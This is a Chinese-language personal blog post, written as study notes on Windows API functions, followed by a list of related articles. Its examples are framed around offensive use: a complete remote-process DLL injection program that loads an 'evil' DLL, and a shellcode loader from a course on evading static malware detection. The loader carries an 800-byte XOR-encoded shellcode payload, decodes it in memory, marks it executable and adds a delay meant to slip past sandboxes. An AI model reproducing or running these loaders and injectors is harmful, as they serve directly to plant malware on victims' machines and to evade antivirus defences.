Windows API学习

以下都是我个人一些理解,笔者不太了解windows开发,如有错误请告知,非常感谢,一切以microsoft官方文档为准。

https://docs.microsoft.com/en-us/windows/win32/api/

VirtualAlloc()

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

概述

在调用进程的虚拟地址空间中保留,提交或更改页面区域的状态。此功能分配的内存将自动初始化为零。

简单讲就是分配大内存空间。

语法:

C++
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

示例代码:

VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//个人理解
VirtualAlloc(起始地址, shellcode的大小, 分配虚拟空间地址,赋予执行或只读权限)

DWORD flAllocationType请查看这里

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

DWORD flProtect请查看这里

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

VirtualAllocEx()

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

概述

在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。

与VirtualAlloc()最大的区别就是VirtualAllocEx()可以使得分配的空间指定在一个进程中的内存地址里面,该函数常用在进程注入。

语法:

c++
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

示例代码:

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

//个人理解,processHandle为我自己创建的读取到的进程句柄
VirtualAllocEx(句柄, 起始地址, shellcode的大小, 分配虚拟空间地址, 赋予执行或只读权限)

OpenProcess()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

概述

打开进程对象。

语法:

c++
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);

示例代码:

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

//个人理解
OpenProcess(进程对象的最大访问权限, 不继承句柄, 要打开的本地进程的标识符。)

WriteProcessMemory()

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

概述

在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。

语法:

c++
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);

示例代码:

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

//个人理解,(LPVOID)dllPath可以为你后门dll的路径,即你要注入的dll路径。
WriteProcessMemory(上面要读取的进程的句柄, 使用VAE函数加载shellcode成功后返回的基地址, 要注入的dll地址, 注入dll的大小, 指向变量的指针.该变量接收传输到指定进程中的字节数)

案例

这是一个经典的dll注入远程进程的案例,可以方便你更好的理解 上面的函数。

inject-dll.cpp
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll"); printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle); return 0;
}

编译以上代码,并提供需要注入的进程pid,你将把evilm64.dll注入到pid进程中。

CreateMutex()

https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa

概述

创建或打开一个已命名或未命名的互斥对象,常用来运行单一进程。

语法:

c++
HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCSTR lpName
);

示例代码:

BOOL IsAlreadyRun()
{
HANDLE hMutex = NULL;
hMutex = ::CreateMutex(NULL, FALSE, "TEST");
if (hMutex)
{
if (ERROR_ALREADY_EXISTS == ::GetLastError())
{
return TRUE;
}
}
return FALSE;
}

RegOpenKeyExA()

https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexa

概述

打开指定的注册表项。请注意,键名不区分大小写。

要对键执行事务处理的注册表操作,请调用RegOpenKeyTransacted函数。

语法:

c++
LSTATUS RegOpenKeyExA(
HKEY hKey,
LPCSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
);

代码示例:

RegSetValueExA()

https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa

概述

在注册表项下设置数据和指定值的类型。

语法:

c++
LSTATUS RegSetValueExA(
HKEY hKey,
LPCSTR lpValueName,
DWORD Reserved,
DWORD dwType,
const BYTE *lpData,
DWORD cbData
);

CreateThread()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread

概述

创建一个线程以在调用进程的虚拟地址空间内执行。

若要创建在另一个进程的虚拟地址空间中运行的线程,请使用 CreateRemoteThread函数。

语法:

c++
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, //确定子进程是否可以继承返回的句柄
SIZE_T dwStackSize, //堆栈的初始大小,参数为零,则使用默认大小
LPTHREAD_START_ROUTINE lpStartAddress, //线程的起始地址
__drv_aliasesMem LPVOID lpParameter, //指向传递给线程的变量的指针
DWORD dwCreationFlags, //线程标志
LPDWORD lpThreadId //线程ID
);

示例代码:

CopyMemory()

概述

将一块内存数据从一个位置复制到另一个位置。

语法:

VOID CopyMemory(
PVOID Destination, //要复制内存块的目的地址,即VA函数返回的句柄名。
CONST VOID *Source, //要复制内存块的源地址
SIZE_T Length //内存卡的大小
);

示例代码:

CloseHandle()

https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle

概述

关闭打开的对象句柄

语法:

c++
BOOL CloseHandle(
HANDLE hObject //打开对象的有效句柄,如通过OpenProcess读取的进程对象句柄
);

示例代码:

printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
CloseHandle(processHandle);

OpenProcess()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

概述

打开现有的本地进程对象

语法:

c++
HANDLE OpenProcess(
DWORD dwDesiredAccess, //进程的访问权限
BOOL bInheritHandle, //是否继续句柄
DWORD dwProcessId //本地进程标识符,如输入的pid
);

示例代码:

printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

示例代码:

OpenProcess()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

概述

打开现有的本地进程对象

语法:

c++
HANDLE OpenProcess(
DWORD dwDesiredAccess, //进程的访问权限
BOOL bInheritHandle, //是否继续句柄
DWORD dwProcessId //本地进程标识符,如输入的pid
);

示例代码:

printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

VirtualProtect()

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

概述

可用来更改VA函数内存页中的权限

语法:

c++
BOOL VirtualProtect(
LPVOID lpAddress, //要更改的内存页的起始地址
SIZE_T dwSize, //要更改的内存页的大小
DWORD flNewProtect, //要更改的权限
PDWORD lpflOldProtect //内存页属性
);

案例2

代码来自倾旋大佬《静态恶意代码逃逸第三课》

#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */ unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a"; // 获取shellcode大小
shellcode_size = sizeof(buf); /* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/ char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
); // 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size); // 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000); hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
); WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

InterlockedXor()

https://docs.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-interlockedxor

概述

对指定的LONG值执行原子XOR操作。该函数可防止多个线程同时使用同一变量。

可用在对shellcode进行异或加密

语法:

c++
LONG InterlockedXor(
LONG volatile *Destination,
LONG Value //异或key
);

示例代码:

c++
/* 增加异或代码 代码来着倾旋博客 */
for(int i = 0;i<shellcode_size; i++){
Sleep(50);
_InterlockedXor8(buf+i,10);
}

WaitNamedPipeA()

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea

概述

等待可用于连接的管道

语法:

c++
BOOL WaitNamedPipeA(
LPCSTR lpNamedPipeName, //命名管道的名称 \\服务器名\pipe\管道名
DWORD nTimeOut //使用NMPWAIT_WAIT_FOREVER
);

示例代码:

//管道
PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest");
//等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
//连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

CreateFileA()

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea

概述

创建或打开文件或I / O设备。最常用的I / O设备如下:文件,文件流,目录,物理磁盘,卷,控制台缓冲区,磁带驱动器,通信资源,邮筒和管道。

语法:

c++
复制
HANDLE CreateFileA(
LPCSTR lpFileName, //要创建或打开的文件或设备的名称
DWORD dwDesiredAccess, //文件或设备访问的权限,常用GENERIC_READ | GENERIC_WRITE
DWORD dwShareMode, //文件或设备请求得共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //确定子进程是否继承句柄,NULL
DWORD dwCreationDisposition, //对文件之外的设备,设置为OPEN_EXISTING
DWORD dwFlagsAndAttributes, //常见默认属性为FILE_ATTRIBUTE_NORMAL
HANDLE hTemplateFile //NULL
);

SHGetSpeciaFolderPathA()

概述

检索特殊文件夹的路径,该路径由其CSIDL标识。

语法:

c++
BOOL SHGetSpecialFolderPathA(
HWND hwnd, //窗口所有者的句柄
LPSTR pszPath, //返回路径的缓冲区
int csidl, //系统路径的CSIDL,在新的windows开发中csidl已经被弃用,改用KNOWNFOLDERID。
BOOL fCreate //文件夹不存在是否要创建
);

penProcessToken()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken

概述

打开与进程关联得访问令牌

语法:

c++
BOOL OpenProcessToken(
HANDLE ProcessHandle, //打开访问令牌得进程句柄,进程必须有PROCESS_QUERY_INFORMATION访问权限
DWORD DesiredAccess, //指定访问掩码,该掩码指定请求得访问令牌访问类型。
PHANDLE TokenHandle //函数返回时指向标识新打开的访问令牌的句柄的指针。
);

示例代码:

OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,&hToken)
OpenProcessToken(要打开进程令牌得进程句柄,TOKEN_ADJUST_PRIVILEGES表示具有修改进程令牌得权限,返回得进程令牌句柄)

LookupPrivilegeValueA(winbase.h)

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea

概述

所述LookupPrivilegeValue函数检索本地唯一性标识符的特定系统上用于局部地(LUID)表示指定的权限名称。

语法:

c++
BOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //指向以NULL结尾得字符串的指针,该字符串指定在其上检索特权名称的系统的名称。如果指定了NULL,则该函数尝试在本地系统上查找特权名称
LPCSTR lpName, //指向以NULL结尾的字符串的指针,该字符串指定特权的名称,如winnt,h头文件中所定义。例如,此参数可以指定常量SE_SECURITY_NAME或其对应的字符串“SeSecurityPrivilege”
PLUID lpLuid //指向接收LUID的变量的指针,通过该LUID可以在lpSystemName参数指定的系统上知道特权。
);

示例代码:

LookupPrivilegeValueA(NULL,pszPrivilegesName,&luidValue)
LookupPrivilegeValueA(NULL表示本地系统,即要获取本地系统指定特权得LUID值,第二个参数表示特权名称,第三个表示获取到得LUID返回值)

AdjustTokenPrivileges(securitybaseapi.h)

https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges

概述

语法:

c++
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //访问令牌得句柄,句柄必须具有TOKEN_ADJUST_PRIVILEGES访问令牌。
BOOL DisableAllPrivileges, //指定函数是否禁用所有令牌的特权。
PTOKEN_PRIVILEGES NewState, //指向TOKEN_PRIVILEGES结构的指针,该 结构指定特权及其属性的数组。
DWORD BufferLength, //指定PreviousState参数指向的缓冲区的大小(以字节为单位)。如果PreviousState参数为NULL,则此参数可以为零。
PTOKEN_PRIVILEGES PreviousState, //指向函数填充TOKEN_PRIVILEGES结构的缓冲区的指针,该结构包含函数修改的任何特权的先前状态。
PDWORD ReturnLength //指向变量的指针,该变量接收PreviousState参数所指向的缓冲区的所需大小。
);

示例代码:

AdjustTokenPrivileges(hToken,FALSE,&tokenPrivileges,0,NULL,NULL)
AdjustTokenPrivileges(进程令牌,是否禁用所有令牌得权限,新设置得特权,返回上一个特权数据缓冲区得大小,返回上一个特权数据缓冲区,返回上一个特权数据缓冲区应该有的大小)

GetCurrentProcess(processthreadsapi.h)

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess

概述

检测当前进程的伪句柄

语法

直接调用函数就行

返回值

返回值是当前进程的伪句柄

未完

之后还会陆续更新一些自己学到的Windows API函数。

Windows API 学习的更多相关文章

  1. Windows API学习---线程与内核对象的同步

    前言 若干种内核对象,包括进程,线程和作业.可以将所有这些内核对象用于同步目的.对于线程同步来说,这些内核对象中的每种对象都可以说是处于已通知或未通知的状态之中.这种状态的切换是由Microsoft为 ...

  2. Windows API学习---用户方式中的线程同步

    前言 当所有的线程在互相之间不需要进行通信的情况下就能够顺利地运行时, Micrsoft Windows的运行性能最好.但是,线程很少能够在所有的时间都独立地进行操作.通常情况下,要生成一些线程来处理 ...

  3. Windows API学习---插入DLL和挂接API

    插入DLL和挂接API 在Microsoft Windows中,每个进程都有它自己的私有地址空间.当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址.你的进程不能创建一个其引用 ...

  4. Windows API 学习记录1

    这里面的好多函数不能死记硬背,知道有这个函数就行,等用到了,再回来细看 一.窗口管理函数包括以下几类: 按钮函数(Button) Microsoft提供了对话框和控制来支持应用程序与用户之间的交互通讯 ...

  5. 学习之路三十九:新手学习 - Windows API

    来到了新公司,一开始就要做个程序去获取另外一个程序里的数据,哇,挑战性很大. 经过两周的学习,终于搞定,主要还是对Windows API有了更多的了解. 文中所有的消息常量,API,结构体都整理出来了 ...

  6. Windows录音API学习笔记(转)

    源:Windows录音API学习笔记 Windows录音API学习笔记 结构体和函数信息  结构体 WAVEINCAPS 该结构描述了一个波形音频输入设备的能力. typedef struct { W ...

  7. Windows录音API学习笔记

    Windows录音API学习笔记 结构体和函数信息  结构体 WAVEINCAPS 该结构描述了一个波形音频输入设备的能力. typedef struct { WORD      wMid; 用于波形 ...

  8. Windows录音API学习笔记--转

    Windows录音API学习笔记 结构体和函数信息  结构体 WAVEINCAPS 该结构描述了一个波形音频输入设备的能力. typedef struct { WORD      wMid; 用于波形 ...

  9. 学习:Windows API核心DLL文件

    在 Windows 的系统目录中,存在着很多的动态链接库文件(DLL 文件).这些 DLL 文件中包括了 Windows API 函数可执行程序. DLL 将各函数"导出",这样应 ...

随机推荐

  1. Camunda如何配置和使用mysql数据库

    Camunda默认使用已预先配置好的H2数据库,数据库模式和所有必需的表将在引擎第一次启动时自动创建.如果你想使用自定义独立数据库,比如mysql,请遵循以下步骤: 一.新建mysql数据库 为Cam ...

  2. .NET中获取Windows的常见路径

    更新记录 本文迁移自Panda666原博客,原发布时间:2021年6月30日. 一.说明 每种平台都其预定义的规则,比如Windows平台有自己的规定.公司也有预定义的规章制度.那么在平台上开发和干活 ...

  3. LVGL库入门教程03-布局方式

    LVGL布局方式 LVGL的布局 上一节介绍了如何在 LVGL 中创建控件.如果在创建控件时不给控件安排布局,那么控件默认会被放在父容器的左上角. 可以使用 lv_obj_set_pos(obj, x ...

  4. RPA应用场景-对公账户开户资质审查

    场景概述 对公账户开户资质审查 所涉系统名称 人民银行账户管理系统 人工操作(时间/次) 0.5小时 所涉人工数量 132 操作频率 不定时 场景流程 1.机器人自动登录人民银行账户管理系统 2.查询 ...

  5. 攻防世界pwn题:Recho

    0x00:查看文件信息 一个64位二进制文件,canary和PIE保护机制没开. 0x01:用IDA进行静态分析 分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环.函数ato ...

  6. 【python基础】第19回 多层,有参装饰器 递归 二分法

    本章内容概要 1. 多层装饰器 2. 有参装饰器 3. 递归函数 4. 算法(二分法) 本章内容详解 1. 多层装饰器 1.1 什么是多层装饰器 多层装饰器是从下往上依次执行,需要注意的是,被装饰的函 ...

  7. Cisco Packet Tracer Student(思科网络模拟器)模拟集线器和嗅探攻击

    一.集线器简介 集线器是局域网内的基础设备,工作于OSI中的物理层,作用是将接收的信号进行放大再传输,集线器是纯硬件设施,集线器开发之初就没考虑过软件层面的操作,所以不具备像路由器.交换机等设备那样具 ...

  8. java--运算符和表达式

    运算符:就是对常量或者遍历进行操作的符号: 表达式:用运算符把常量或者变量连接起来符合java语法的式子称为表达式,不同运算符连接的表达式体现的是不同类型的表达式. 一.算术运算符 1.使用%运算符: ...

  9. linux 配置集群需要修改的东西

    1. 服务器主机名 vi /etc/hostname 按Esc,然后:wq! ,保存,然后重启电脑 reboot 2.修改IP和mac,也可以设置成自动的,但一般是固定的 cd /etc/syscon ...

  10. APISpace 号码实时查询API接口 免费好用

    最近公司项目有一个号码实时查询的小功能,想着如果用现成的API就可以大大提高开发效率,所以在网上的API商店搜索了一番,发现了 APISpace,它里面的号码实时查询API非常符合我的开发需求.   ...